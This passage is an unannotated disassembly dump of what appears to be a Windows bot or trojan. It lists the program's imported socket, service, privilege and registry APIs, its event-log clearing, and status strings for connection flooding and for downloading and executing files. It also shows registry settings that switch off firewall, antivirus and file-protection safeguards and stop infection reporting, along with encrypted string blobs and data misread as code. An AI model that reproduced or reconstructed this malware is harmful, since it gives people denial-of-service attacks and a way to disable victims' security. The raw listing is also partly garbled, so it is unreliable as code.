sub_417362+767o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_417362+75Ao align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_417362+74Do align 4 aHtons db 'htons',0 ; DATA XREF: sub_417362+740o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_417362+733o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_417362+726o align 4 aConnect db 'connect',0 ; DATA XREF: sub_417362+719o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_417362+70Co aSocket db 'socket',0 ; DATA XREF: sub_417362+6FFo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_417362+6F2o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_417362+6E5o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_417362+6D8o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_417362+6CBo align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_417362+6BEo align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_417362+6B1o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_417362+6A9o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_417362+698o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_417362+625o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_417362+618o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_417362+60Bo align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_417362+5FEo align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_417362+5F1o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_417362+5E4o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_417362+5D7o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_417362+5CAo align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_417362+5C2o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_417362:loc_417913o align 4 aCloseeventlog db 'CloseEventLog',0 ; DATA XREF: sub_417362+574o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_417362+567o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_417362:loc_4178C1o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_417362:loc_4178A6o align 4 aSetservicestat db 'SetServiceStatus',0 ; DATA XREF: sub_417362+4B4o align 4 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0 ; DATA XREF: sub_417362+4A7o aUnlockserviced db 'UnlockServiceDatabase',0 ; DATA XREF: sub_417362+49Ao align 4 aChangeservicec db 'ChangeServiceConfig2A',0 ; DATA XREF: sub_417362+48Do align 4 aQueryservicelo db 'QueryServiceLockStatusA',0 ; DATA XREF: sub_417362+480o aLockservicedat db 'LockServiceDatabase',0 ; DATA XREF: sub_417362+473o aImpersonatelog db 'ImpersonateLoggedOnUser',0 ; DATA XREF: sub_417362+466o aStartservicect db 'StartServiceCtrlDispatcherA',0 ; DATA XREF: sub_417362+459o aCreateservicea db 'CreateServiceA',0 ; DATA XREF: sub_417362+44Co align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_417362+43Fo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_417362+432o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_417362+425o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_417362+418o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_417362+40Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_417362+3FEo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_417362+3F1o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_417362:loc_41774Bo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_417362+3B1o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_417362+3A4o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_417362+397o align 4 aOpenthreadtoke db 'OpenThreadToken',0 ; DATA XREF: sub_417362:loc_4176F1o aRegqueryinfoke db 'RegQueryInfoKeyA',0 ; DATA XREF: sub_417362+32Fo align 10h aRegenumvaluea db 'RegEnumValueA',0 ; DATA XREF: sub_417362+322o align 10h aRegenumkeyexa db 'RegEnumKeyExA',0 ; DATA XREF: sub_417362+315o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_417362+308o aRegdeletekeya db 'RegDeleteKeyA',0 ; DATA XREF: sub_417362+2FBo align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_417362+2EEo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_417362+2E1o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_417362+2D4o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_417362+2C7o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_417362+2BFo align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_417362:loc_41760Co align 10h aGetclassnamea db 'GetClassNameA',0 ; DATA XREF: sub_417362+255o align 10h aIswindowvisibl db 'IsWindowVisible',0 ; DATA XREF: sub_417362+248o aShowwindow db 'ShowWindow',0 ; DATA XREF: sub_417362+23Bo align 4 aGetwindowthrea db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_417362+22Eo align 4 aGetwindowinfo db 'GetWindowInfo',0 ; DATA XREF: sub_417362+221o align 4 aEnumwindows db 'EnumWindows',0 ; DATA XREF: sub_417362:loc_41757Bo aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_417362+1B9o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_417362+1ACo align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_417362+19Fo align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_417362+192o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_417362+185o align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_417362+178o align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_417362+16Bo aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_417362+15Eo align 10h aClosewindow db 'CloseWindow',0 ; DATA XREF: sub_417362+156o aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_417362:loc_4174A3o ; sub_418E0F+2Fo ... align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_417362:loc_41747Fo align 10h aGetcomputernam db 'GetComputerNameA',0 ; DATA XREF: sub_417362+ADo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_417362+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_417362+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_417362+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_417362+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_417362+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_417362+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_417362+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_417362+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_417362+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_417362+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_417362+23o align 4 aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_417362+Ao align 4 aSSSSExecutingF db '%s %s %s: %s executing file: %s.',0 ; DATA XREF: sub_4182BA+695o align 10h aSProcessSSTota db '%s Process %s: "%s", Total %s Time: %s.',0 ; DATA XREF: sub_4182BA+55Eo a_2d_2d db ' %.2d:%.2d',0 ; DATA XREF: sub_4182BA+53Ao ; sub_41F533+2BAo align 4 aDS db ' %d%s',0 ; DATA XREF: sub_4182BA+50Fo ; sub_41F533+292o align 4 aHours db ' hours',0 ; DATA XREF: sub_4182BA+502o ; sub_41F533+285o align 4 aHour db ' hour',0 ; DATA XREF: sub_4182BA+4FBo ; sub_41F533+27Eo align 4 aSCreatedProces db '%s Created process: "%s", PID: <%d>',0 ; DATA XREF: sub_4182BA+470o ; sub_4182BA+497o aSSToCreateProc db '%s %s to create process: "%s", %s: <%d>',0 ; DATA XREF: sub_4182BA+404o ; sub_4182BA+435o aSCouldnTParseP db '%s Couldn',27h,'t parse path, %s: <%d>',0 ; DATA XREF: sub_4182BA+32Do ; sub_4182BA+356o align 4 aSSS_1fkbToS@_1 db '%s %s %s: %.1fKB to: %s @ %.1fKB/sec.',0 ; DATA XREF: sub_4182BA+252o ; sub_4182BA+2BAo align 4 aSCouldnTOpenFi db '%s Couldn',27h,'t open file for writing: %s.',0 ; DATA XREF: sub_4182BA+ACo align 4 aSErrorOutOfMem db '%s Error: Out Of Mem!',0 ; DATA XREF: sub_418AD3+1B9o align 4 aSSSDSentDConnS db '%s %s (%s:%d) Sent: (%d) conn(s) for (%d) sec(s)',0 ; DATA XREF: sub_418AD3+12Bo align 4 aSSendingSDDC_0 db '%s -> Sending (%s:%d) (%d) conn(s) for (%d) sec(s)',0 ; DATA XREF: sub_418AD3+A0o align 4 aSSendingSDDCon db '%s -> Sending (%s:%d) (%d) connects(s) for (%d) sec(s)',0 ; DATA XREF: sub_418AD3+73o align 8 aGx000032 db 'gx000032',0 ; DATA XREF: sub_418FA1+Co align 4 a3c9 db ']&3c9',0 ; DATA XREF: sub_40A9FE+57C6o ; sub_40A9FE+895Do ... word_44399A dw 1F99h ; DATA XREF: sub_4020BA:loc_402118r ; sub_406C69:loc_406CB8r ... word_44399C dw 1704h ; DATA XREF: sub_40A9FE:loc_40C186r word_44399E dw 46Ah ; DATA XREF: .text:004018D8r ; sub_403B9B+121r ... byte_4439A0 db 26h ; DATA XREF: sub_40A935+2Fr ; sub_40A935+83r ... align 4 dword_4439A4 dd 14h ; sub_42245D+3Cr dword_4439A8 dd 2477664Fh, 6AA83178h, 0C07559h ; sub_406C69+79o ... dword_4439B4 dd 12727B5Bh, 0 ; sub_401B6E+132o ... dword_4439BC dd 6333265Dh, 74C67A39h, 0D953C12h, 0C6h ; sub_40A9FE+89B2o ... dword_4439CC dd 296E616Dh, 64842364h, 57D66274h, 80F161D3h, 94724350h ; DATA XREF: sub_4051EF+114o ; sub_416596+29Fo ... dd 228F8170h, 0 dword_4439E8 dd 296E616Dh, 64842364h, 57D66274h, 80F161D3h, 94724350h ; DATA XREF: sub_416596+2B7o ; sub_4221E4+59o dd 228F8170h, 2 dup(0) ; --------------------------------------------------------------------------- loc_443A08: ; DATA XREF: sub_416596+2D1o ; sub_4221E4:loc_422278o jg short loc_443A70 popa das xor [si+6B64h], eax db 64h retf ; --------------------------------------------------------------------------- db 47h db 0CFh, 36h, 0C1h ; --------------------------------------------------------------------------- locret_443A17: ; CODE XREF: .text:00443A6Ej iret ; --------------------------------------------------------------------------- dd 8F735876h, 3E85AE3Ch, 0BF819E04h, 6B45316Ch, 0E0012D37h dd 40C62470h, 0DB3F5643h, 0CEBDA35Eh, 0D0C83555h, 8B38914h dd 60318907h, 58EEE403h, 571696B2h, 8CDC5413h, 2 dup(0) dword_443A58 dd 80000002h ; sub_427DAA+36r dword_443A5C dd 19464769h, 1A5155Ch, 4AE85160h ; sub_42245D+B3o ... ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_443A69: ; CODE XREF: .text:00443A88j xor ebx, ebp pushf push ecx push ecx jz short locret_443A17 loc_443A70: ; CODE XREF: .text:loc_443A08j inc eax mov edx, 83143E83h cdq mov al, ds:3E74085Ch push ss cmp dl, [esi] clc insd adc esi, eax sbb al, 10h imul edi, [eax], -24h jno short loc_443A69 pushf fimul word ptr [ecx+0] ; --------------------------------------------------------------------------- dw 0 dd 32h dup(0) db 3 dup(0) byte_443B5B db 6Dh ; DATA XREF: sub_416596+287o ; sub_42245D+ABo ... dd 64296E61h, 74648423h, 8057D662h, 4A81DD02h, 70976F45h dd 9888h, 0BDh dup(0) dword_443E68 dd 2B666B0Ch, 7CC0603Bh, 12C33909h, 0DDD12099h, 0C935565Fh ; DATA XREF: sub_416596+38o ; sub_42045F+229o dd 65898C7Dh, 0E0888E41h, 2A033261h, 0 dword_443E8C dd 7B376C5Fh, 7C94376Ah, 129C390Fh, 0D9822396h, 0CA64010Fh ; DATA XREF: sub_40A9FE+A47o ; sub_416596+50o dd 64DFD57Dh, 0E388DA13h, 7A533061h, 0 dword_443EB0 dd 7C333A1Bh, 76C67739h, 1B95340Fh, 0DF817391h, 0C9310F07h ; DATA XREF: sub_41567F+1o ; sub_416596+68o ... dd 61D9DD25h, 8DB0CA42h, 621F6126h, 0A4477B24h, 5BC9073Ah dd 0D863310Bh, 9EFDB718h, 90946704h, 5DE38C55h, 217AC45Ch dd 4FB3AC05h, 1E4ED4E9h, 88816F5Bh, 293525C0h, 7F7749h off_443F00 dd offset dword_445D5C ; DATA XREF: sub_42045F+1D1r dd offset dword_445D54 dd offset dword_445D4C dd offset dword_445D40 dd offset dword_445D34 dword_443F14 dd 6D6519h ; sub_40A9FE+7C8o ... off_443F18 dd offset loc_415B66+2 ; DATA XREF: sub_416596+C1o ; sub_420AB8+52o ... dword_443F1C dd 356D6519h, 0 ; sub_40A9FE+1D3Fo ... dword_443F24 dd 3E6D6519h, 0 ; sub_416596+121o ... dword_443F2C dd 266D6519h, 0 ; sub_40A9FE:loc_40BCF2o ... dword_443F34 dd 3E6D6519h, 2 dup(0) ; sub_42045F:loc_4205C8o ... dword_443F40 dd 7D317059h ; sub_418FA1+607r dd 6A993566h, 47C0684Bh, 8C9C32CEh, 5A51h, 22h dup(0) db 3 dup(0) byte_443FDF db 49h ; DATA XREF: sub_416596+170o ; sub_418FA1+5DAo dd 6E3F636Dh, 4F258720h, 7Eh, 0 dword_443FF0 dd 0CE9h ; sub_40A9FE+4FFo ... dword_443FF4 dd 0 dd 7C30705Ch, 77C6603Bh, 5ACD7A12h, 9DDD6FE9h, 59h, 22h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_4440B9 ; --------------------------------------------------------------------------- align 10h pop ebp jno short near ptr byte_444121 and ah, [esi+35h] cdq push 4Bh loc_4440B9: ; CODE XREF: .text:004440A8j push 32CE47C0h pushf mov word ptr [ecx+5Ah], ss ; --------------------------------------------------------------------------- dw 0 dd 17h dup(0) db 0 byte_444121 db 3 dup(0) ; CODE XREF: .text:004440B1j dd 0Ah dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444171 ; --------------------------------------------------------------------------- align 4 pop ebp xor es:26D96439h, dh push ebp loc_444171: ; CODE XREF: .text:00444160j ja short $+2 ; --------------------------------------------------------------------------- db 0 dd 24h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444229 ; --------------------------------------------------------------------------- align 10h dd 7D313859h, 27D96573h ; --------------------------------------------------------------------------- push ebx loc_444229: ; CODE XREF: .text:00444218j and eax, esi inc eax ; --------------------------------------------------------------------------- dd 24h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_4442E1 ; --------------------------------------------------------------------------- align 4 dd 206D6759h, 27D9266Ch ; --------------------------------------------------------------------------- push ebx loc_4442E1: ; CODE XREF: .text:004442D0j and eax, esi inc eax ; --------------------------------------------------------------------------- dd 24h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444399 ; --------------------------------------------------------------------------- align 10h dd 286C6D4Eh, 2A983C7Bh ; --------------------------------------------------------------------------- pop ecx loc_444399: ; CODE XREF: .text:00444388j and eax, ecx inc edi mov fs, word ptr [ebx] ficomp word ptr [edx-6A96A4A5h] jns short near ptr dword_4442E4+85h mov large ds:0, dh ; --------------------------------------------------------------------------- dd 20h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444451 ; --------------------------------------------------------------------------- align 4 dd 236F604Ah, 369E236Eh ; --------------------------------------------------------------------------- pop ecx loc_444451: ; CODE XREF: .text:00444440j and eax, ecx inc edi mov fs, word ptr [ebx] ficomp word ptr [edx-6A96A4A5h] jns short near ptr dword_4443AC+75h mov large ds:0, dh ; --------------------------------------------------------------------------- dd 20h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444509 ; --------------------------------------------------------------------------- align 10h dd 236F604Ah, 2398386Eh ; --------------------------------------------------------------------------- push ebp loc_444509: ; CODE XREF: .text:004444F8j arpl [ebx-2F903BB9h], cx or dword ptr [ebx+52h], 6Ch xchg eax, edx jb short near ptr dword_444464+3Ah les esi, [edx] adc eax, 0 ; --------------------------------------------------------------------------- db 3 dup(0) dd 1Fh dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_4445C1 ; --------------------------------------------------------------------------- align 4 dd 3E6F6E4Fh, 2194357Bh db 12h ; --------------------------------------------------------------------------- loc_4445C1: ; CODE XREF: .text:004445B0j push 2FD74CD1h rol ecx, 50h push edx jz short $+2 ; --------------------------------------------------------------------------- dd 22h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444679 ; --------------------------------------------------------------------------- align 10h dd 2B65604Eh, 29822664h ; --------------------------------------------------------------------------- dec edi loc_444679: ; CODE XREF: .text:00444668j and eax, edi inc ecx shr dword ptr [eax], cl fmul qword ptr [ebx-67D1B0A5h] jnb short near ptr dword_4445CC+3Ah ; --------------------------------------------------------------------------- dw 0 dd 21h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 ; --------------------------------------------------------------------------- jmp loc_444731 ; --------------------------------------------------------------------------- align 4 dd 7D317059h, 6A993566h ; --------------------------------------------------------------------------- dec ebx loc_444731: ; CODE XREF: .text:00444720j push 32CE47C0h pushf mov word ptr [ecx+5Ah], ss ; --------------------------------------------------------------------------- dw 0 dd 22h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dd 7C30705Ch, 77C6603Bh, 5ACD7A12h, 9DDD6FE9h, 59h, 22h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 aQnF5sjkhG2Mqz db ']qn"f5™jKhÀGÎ2œŒQZ',0 align 4 dd 22h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dd 3530265Dh, 26D96439h, 7755h, 24h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dd 7D313859h, 27D96573h, 40C62353h, 24h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dd 206D6759h, 27D9266Ch, 40C62353h, 24h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 aNmlSYGoIxyI5 db 'Nml({<˜*Y#ÁGŽ#Þš[[i•yÈ5',0 align 4 dd 20h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 aJONU6yGoIxyI5 db 'J`o#n#ž6Y#ÁGŽ#Þš[[i•yÈ5',0 align 4 dd 20h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dd 236F604Ah, 2398386Eh, 478B6355h, 83D06FC4h, 926C524Bh dd 32C48872h, 15h, 20h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dd 3E6F6E4Fh, 2194357Bh, 4CD16812h, 0C1C12FD7h, 745250h dd 22h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 aNEDVOALO_ssa db 'N`e+d&‚)O#ÇAÓ(Ü‹[O.˜s€',0 align 10h dd 21h dup(0) dd 49000000h, 6E3F636Dh, 4F258720h, 7Eh, 0 dd 0CECh, 0 dword_444F10 dd 80000002h ; sub_418FA1+56r ... dword_444F14 dd 19464769h, 1A5155Ch, 4AE85160h, 9CDD33C3h, 0A7745151h ; DATA XREF: sub_416596+1B0o ; sub_418E0F+149o ... dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h dd 0F54Dh, 2Fh dup(0) db 3 dup(0) byte_445013 db 57h ; DATA XREF: sub_416596+1C7o ; sub_418E0F+144o ... dd 6522677Bh, 31h, 0C1h dup(0) dword_445320 dd 80000002h ; sub_41BC0B+ABr ... dword_445324 dd 19464769h, 1A5155Ch, 4AE85160h, 9CDD33C3h, 0A7745151h ; DATA XREF: sub_416596+1DFo ; sub_41BC0B+89o ... dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h dd 0F54Dh, 2Fh dup(0) db 3 dup(0) byte_445423 db 48h ; DATA XREF: sub_416596+1F7o ; sub_41BC0B+83o ... dd 3D756Dh, 0C2h dup(0) dword_445730 dd 80000002h ; sub_427BC4+89r ... dword_445734 dd 19464769h, 1A5155Ch, 4AE85160h, 9CDD33C3h, 0A7745151h ; DATA XREF: sub_416596+20Fo ; sub_427BC4+13o ... dd 3E83BA40h, 0A0998314h, 3E74085Ch, 0F8163A16h, 1CC6116Dh dd 0DC386B10h, 0C39DDF71h, 93CD2F42h, 0CA4D134h, 7B379407h dd 0F54Dh, 2Fh dup(0) db 3 dup(0) byte_445833 db 53h ; DATA XREF: sub_416596+227o ; sub_427BC4+Co ... dd 66247466h, 31h, 0C1h dup(0) dword_445B40 dd 32314B77h, 425A3046h, 2F616C70h, 0 ; sub_420D91+Co dword_445B50 dd 4D787073h, 2F472F72h, 30494276h, 0 ; sub_41CBC1+187o dword_445B60 dd 526E322Fh, 704B2E75h, 2F784E4Bh, 0 ; sub_41CBC1+1A5o a7lybp1gunfm0 db '7LybP1GuNfm0',0 ; DATA XREF: sub_41567F+27o ; sub_41C8B1+184o align 10h a391myLxl28_ db '391mY/LxL28.',0 ; DATA XREF: sub_41567F+32o ; sub_41C8B1+1ACo align 10h a5h5br_qpSm1 db '5H5BR.qp/sm1',0 ; DATA XREF: sub_41567F+3Do ; sub_41CBC1+82o ... align 10h aYjmlc1btsf10_0 db 'yJmlc1btsF10',0 ; DATA XREF: sub_41567F+48o ; sub_41CBC1+94o ... align 10h aZyvgp1mxobt0_0 db 'zyVGp1MxObt0',0 ; DATA XREF: sub_41567F+53o ; sub_41CBC1:loc_41CCC6o ... align 10h aG7IvGks9l1_0 db 'g7/IV/gks9L1',0 ; DATA XREF: sub_41567F+61o ; sub_41CBC1+DFo ... align 10h aTugnf_mqsdr0_0 db 'TuGNF.mQSDR0',0 ; DATA XREF: sub_41567F+6Co ; sub_41C8B1+198o ... align 10h aBwIj0rhpgj1 db 'bw/Ij0rhPgj1',0 ; DATA XREF: sub_41567F+77o ; sub_420D91+2Eo align 10h aFuv1h_fi8sc db 'FuV1H.fi8SC/',0 ; DATA XREF: sub_41567F+82o ; sub_420D91+42o align 10h aLcxMHdpwr1 db 'lCX/m/HdpWr1',0 ; DATA XREF: sub_41567F+8Do ; sub_41D110+1Ao ... align 10h aVozbg0sssom1 db 'vozbG0sSsoM1',0 ; DATA XREF: sub_41567F+98o ; sub_41CAB4+3Co ... align 10h aKc4l5_savs3_ db 'KC4L5.sAVS3.',0 ; DATA XREF: sub_41567F+A3o ; sub_41CF25+Fo ... align 10h aWk12f0zbpla db 'wK12F0ZBpla/',0 ; DATA XREF: sub_41567F+AEo align 10h aSpxmrGVbi0 db 'spxMr/G/vBI0',0 ; DATA XREF: sub_41567F+BCo ; sub_4263D5+54o align 10h a2nru_kpknx db '/2nRu.KpKNx/',0 ; DATA XREF: sub_41567F+C7o ; sub_4263D5+60o align 10h a7lybp1gunfm0_0 db '7LybP1GuNfm0',0 ; DATA XREF: sub_41567F+D2o ; sub_4264CB+93o align 10h a391myLxl28__0 db '391mY/LxL28.',0 ; DATA XREF: sub_41567F+DDo ; sub_4264CB+F0o align 10h a5h5br_qpSm1_0 db '5H5BR.qp/sm1',0 ; DATA XREF: sub_40A9FE+36C8o ; sub_40A9FE+36F3o ... align 10h aYjmlc1btsf10 db 'yJmlc1btsF10',0 ; DATA XREF: sub_40A9FE+320Fo ; sub_40A9FE+372Fo ... align 10h aZyvgp1mxobt0 db 'zyVGp1MxObt0',0 ; DATA XREF: sub_40A9FE+2C79o ; sub_40A9FE+2F18o ... align 10h aG7IvGks9l1 db 'g7/IV/gks9L1',0 ; DATA XREF: sub_40A9FE+307Eo ; sub_40A9FE+31B5o ... align 10h aTugnf_mqsdr0 db 'TuGNF.mQSDR0',0 ; DATA XREF: sub_40A9FE+31E8o ; sub_40A9FE+37DFo ... align 10h aBwIj0rhpgj1_0 db 'bw/Ij0rhPgj1',0 ; DATA XREF: sub_41567F+122o align 10h aFuv1h_fi8sc_0 db 'FuV1H.fi8SC/',0 ; DATA XREF: sub_41567F+12Do align 10h aLcxMHdpwr1_0 db 'lCX/m/HdpWr1',0 ; DATA XREF: sub_40A9FE+364Do ; sub_41567F+138o align 10h aVozbg0sssom1_0 db 'vozbG0sSsoM1',0 ; DATA XREF: sub_41567F+143o align 10h aKc4l5_savs3__0 db 'KC4L5.sAVS3.',0 ; DATA XREF: sub_41567F+14Eo align 10h dword_445D20 dd 16h ; sub_40A9FE+53Er ... dword_445D24 dd 5 ; sub_42045F+1BEr ... dword_445D28 dd 10h dd offset byte_454A54 dd offset byte_454A54 dword_445D34 dd 0D2A2910h, 6AC77A3Bh, 0Chdword_445D40 dd 0D2A2910h, 6AC17A3Dh, 0Ahdword_445D4C dd 0D2A2910h, 3Bhdword_445D54 dd 0D2A2910h, 897E75hdword_445D5C dd 0D2A2910h, 32967A21h, 0dword_445D68 dd 255C7325h, 73h ; sub_42045F+3D3o ... aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_418E0F+2Ao ; sub_434D70+24o aSoftwarePoli_0 db 'SOFTWARE\Policies\Microsoft\MRT',0 ; DATA XREF: sub_418FA1+527o aDontreportinfe db 'DontReportInfectionInformation',0 ; DATA XREF: sub_418FA1+522o align 4 aFirewalloverri db 'FirewallOverride',0 ; DATA XREF: sub_418FA1+511o align 10h aFirewalldisabl db 'FirewallDisableNotify',0 ; DATA XREF: sub_418FA1+500o align 4 aAntivirusoverr db 'AntiVirusOverride',0 ; DATA XREF: sub_418FA1+4ECo align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_418FA1+4E0o ; sub_418FA1+4F1o ... align 10h aAntivirusdisab db 'AntiVirusDisableNotify',0 ; DATA XREF: sub_418FA1+4DBo align 4 aSystemContro_0 db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol' ; DATA XREF: sub_418FA1+4AAo ; sub_418FA1+4BEo ... db 'icy\DomainProfile',0 align 4 aDisablenotific db 'DisableNotifications',0 ; DATA XREF: sub_418FA1+494o ; sub_418FA1+4CAo align 4 aDonotallowexce db 'DoNotAllowExceptions',0 ; DATA XREF: sub_418FA1+483o ; sub_418FA1+4B9o align 10h aSystemControls db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol' ; DATA XREF: sub_418FA1+477o ; sub_418FA1+488o ... db 'icy\StandardProfile',0 align 4 aEnablefirewall db 'EnableFirewall',0 ; DATA XREF: sub_418FA1+472o ; sub_418FA1+4A5o align 4 aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\NetBT\Parameters',0 ; DATA XREF: sub_418FA1+463o align 4 aTransportbindn db 'TransportBindName',0 ; DATA XREF: sub_418FA1+45Eo align 10h aDevice db '\Device\',0 ; DATA XREF: sub_418FA1+459o align 4 aAutosharewks db 'AutoShareWks',0 ; DATA XREF: sub_418FA1+448o align 4 aAutoshareserve db 'AutoShareServer',0 ; DATA XREF: sub_418FA1+437o aSfcscan db 'SFCScan',0 ; DATA XREF: sub_418FA1+426o aSoftwarePolici db 'Software\Policies\Microsoft\Windows NT\Windows File Protection',0 ; DATA XREF: sub_418FA1+417o ; sub_418FA1+42Bo align 4 aSfcdisable db 'SFCDisable',0 ; DATA XREF: sub_418FA1+412o align 10h aSystemCurren_2 db 'SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters',0 ; DATA XREF: sub_418FA1+405o ; sub_418FA1+43Co ... align 4 aSizreqbuf db 'SizReqBuf',0 ; DATA XREF: sub_418FA1+400o align 4 aMaxconnectio_0 db 'MaxConnectionsPerServer',0 ; DATA XREF: sub_418FA1+3E7o aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0 ; DATA XREF: sub_418FA1+3D3o ; sub_418FA1+3ECo aMaxconnections db 'MaxConnectionsPer1_0Server',0 ; DATA XREF: sub_418FA1+3CEo align 